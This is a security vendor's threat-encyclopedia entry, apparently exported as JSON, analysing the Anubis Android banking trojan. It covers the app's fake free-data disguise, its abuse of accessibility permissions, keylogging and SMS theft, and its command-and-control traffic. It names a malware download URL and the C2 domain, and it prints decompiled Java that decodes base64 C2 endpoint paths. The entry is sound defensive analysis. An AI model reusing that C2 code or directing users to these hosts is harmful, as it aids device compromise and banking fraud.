{"id":57,"date":"2020-11-18T09:01:18","date_gmt":"2020-11-18T09:01:18","guid":{"rendered":"https:\/\/threats.amnpardaz.com\/en\/?p=57"},"modified":"2021-08-30T12:29:41","modified_gmt":"2021-08-30T12:29:41","slug":"trojan-android-anubis-banker","status":"publish","type":"post","link":"https:\/\/threats.amnpardaz.com\/en\/2020\/11\/18\/trojan-android-anubis-banker\/","title":{"rendered":"Trojan.Android.Anubis.Banker"},"content":{"rendered":"

General Explanation<\/h2>\n

Type<\/strong>: Trojan<\/p>\n

Degree of destruction<\/strong>: average<\/p>\n

Prevalence<\/strong>: average<\/p>\n

What is Trojan?<\/h3>\n

Trojans are malware that revealed themselves in the format of an applicable and useful tool. Accordingly, the user downloads and installs them and infects the system without notices that it is malware. Trojans, usually after installation, act as a backdoor so the hacker can remotely access the victim’s system. For instance, the malware we will analyze here seems to do an applicable and useful job, but it will install an unwanted application on the system.<\/span><\/p>\n

What is the Anubis Trojan family?<\/h3>\n

There are many applications with the title of Free 5G<\/strong>\u060c\u00a0<\/strong>20GBHediye<\/strong>\u060c\u00a0<\/strong>20gb_hediye_internet, etc. There is so much like malware with different hash and infected URLs. For instance, the user will download this application as \u201c20gb-hedie-internet\u201d from <\/strong>http:\/\/xn--20gbnternethedyendowland-tvdk.com\/20gb_hediye_internet.apk<\/a>. After running this application, the malware attempts to receive settings related to accessibility access services and immediately after reaching this goal, will hide the application icon and start its malicious actions in the background. Some of actions that will be done in the user\u2019s phone are:<\/p>\n

    \n
  1. There are so many dangerous accesses that this malware will receive from the user (attaining user\u2019s local place, internet status, reading contact list, reading income\/outcome messages, voice recording and writing messages, etc.)<\/li>\n
  2. Ability to send and receive SMS<\/li>\n
  3. Finding a user\u2019s geographical positioning (GPS)<\/li>\n
  4. Opening and specific page in the user\u2019s browser, the goal page address, is sent from a malware-infected server to the user\u2019s phone.<\/li>\n
  5. Loading another .apk file dynamically and at the time of program running (this job will be done for purposes such as showing advertising on the user\u2019s phone.<\/li>\n
  6. Keylogging<\/li>\n
  7. Possibility of taking a screenshot of the user\u2019s keyboard<\/li>\n
  8. Attempt calling with specific numbers that are sent from the server.<\/li>\n<\/ol>\n

    Technical Explanation<\/h2>\n

    As soon as running the program, activity accessibility will recall receiving the related settings of accessibility access service and until the user does not give any access to the application, will continuously show this message to the user. The appeared message is in Turkish and with this theme that if you wish to activate this application you need to activate accessibility access for the app. As soon as the user enables access to the application, malware with no trouble will enable all its accessibility permissions for itself which are most dangerous and are for next suing. As a result of dynamic file checking, you can view that this malware, will drop some files in the following folders and in the data\/data path:<\/p>\n

      \n
    1. App_apk:<\/strong> there is a .apk file in this folder that at the moment of execution by using DexClassLoader, API will be loaded by the initial file and some of the malicious actions will be done by this file. Also, for Android version 5 or higher, there is a .oat file and the goal of its loading is to show advertising on the user\u2019s phone.<\/li>\n
    2. App_outdex<\/strong>: at the time of execution, the application will check, if the version of the android is API16 and API26 and if there is an .apk file in the path, to show advertising (notification) will load its API by using DexClassLoader. The name of the application package that desire to load it is \u201capps.com.app.utils\u201d. It do this action by separate service in the application.<\/li>\n
    3. Shared_prefs<\/strong>: in this section there is a file named: \u201cset.xml\u201d that called as the application configuration file. I.e. malware reads some orders from this file at the time of execution (dynamic) and in exchange for them will run its malicious codes. The reason for malware to use this as local at the time of execution is that maybe this application which acts as a type of android Bot, for any reason cannot connect properly with its servers at the time of execution or receiving necessary instructions from them.<\/li>\n<\/ol>\n

      After executing this application, according to the configuration file, if you wish to recall the \u201cWebSocket\u201d value:<\/p>\n

      This malware will communicate with its command and control server or dedelik.com. It uses POST to send encrypted information from user\u2019s phone to a4.php, a14.php, and a3.php and in return receives instructions to perform malicious actions in the user\u2019s phone.<\/p>\n

      Immediately the https:\/\/www.saglik.gov.tr\/<\/a> website will be open in the user\u2019s browser, i.e. malware has the ability to initiate the user\u2019s browser with the URL that receives from its command and control server.<\/p>\n

      \"\"<\/p>\n

      \"\"<\/p>\n

      The addresses of all servers which the application will be connected to and due to them will receive the message and execute them in user\u2019s phone are encoded with base64 algorithm.<\/p>\n

      public String fddo(ContextparamContext, StringparamString1, StringparamString2)<\/p>\n

      {<\/code><\/p>\n

      try<\/code><\/p>\n

      {<\/code><\/p>\n

      if\u00a0 (jdMethod_catch(paramContext))<\/code><\/p>\n

      {<\/code><\/p>\n

      localint=new oawx.minoxvx.ahlpf.fddo.int();<\/code><\/p>\n

      if (paramString1.equals(jdField_int(\"MQ==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMy5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"Mg==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hNC5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"Mw==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hNS5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"NA==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hNi5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"NQ==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hNy5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"Ng==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hOC5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"Nw==\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hOS5waHA=\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTA=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTAucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTE=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTEucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTI=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTIucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTM=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTMucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTQ=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTQucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MTU=\")))<\/code><\/p>\n

      str = jdField_int(\"L28xby9hMTUucGhw\");<\/code><\/p>\n

      if\u00a0 (paramString1.equals(jdField_int(\"MjU=\")))<\/code><\/p>\n

      str=jdField_int(\"L28xby9hMjUucGhw\");<\/code><\/p>\n

      }<\/code><\/p>\n

      }<\/code><\/p>\n

      catch(ExceptionparamContext)<\/code><\/p>\n

      {<\/code><\/p>\n

      try<\/code><\/p>\n

      {<\/code><\/p>\n

      oawx.minoxvx.ahlpf.fddo.intlocalint;<\/code><\/p>\n

      Stringstr;<\/code><\/p>\n

      paramString1=fddo(paramContext,jdField_int(\"dXJs\"));<\/code><\/p>\n

      paramContext=paramString1;<\/code><\/p>\n

      if (paramString1 == null)<\/code><\/p>\n

      paramContext=this.fddo.jdField_for;<\/code><\/p>\n

      paramString1=newStringBuilder();<\/code><\/p>\n

      paramString1.append(paramContext);<\/code><\/p>\n

      paramString1.append(str);<\/code><\/p>\n

      return localint.fddo(paramString1.toString(), paramString2);<\/code><\/p>\n

      label372:fddo(jdField_int(\"RVJST1I=\"),jdField_int(\"Q2xhc3MgVXRpbHNDbGFzcywgUE9TVCAtPiBVUkw=\"));<\/code><\/p>\n

      return null;<\/code><\/p>\n

      paramContext=jdField_int(\"PHRhZz48L3RhZz4=\");<\/code><\/p>\n

      return paramContext;<\/code><\/p>\n

      while (true)<\/code><\/p>\n

      {<\/code><\/p>\n

      return jdField_int(\"PHRhZz48L3RhZz4=\");<\/code><\/p>\n

      paramContext=paramContext;<\/code><\/p>\n

      }<\/code><\/p>\n

      }<\/code><\/p>\n

      catch(ExceptionparamContext)<\/code><\/p>\n

      {<\/code><\/p>\n

      break label372;<\/code><\/p>\n

      }<\/code><\/p>\n

      }<\/code><\/p>\n

      }<\/code><\/p>\n

      The name of the servers are as follows and that in each level according to the type of action information will send\/receive to\/from which server, is up to \u201cjdField_int\u201d that recalled from \u201cifdf\u201d<\/p>\n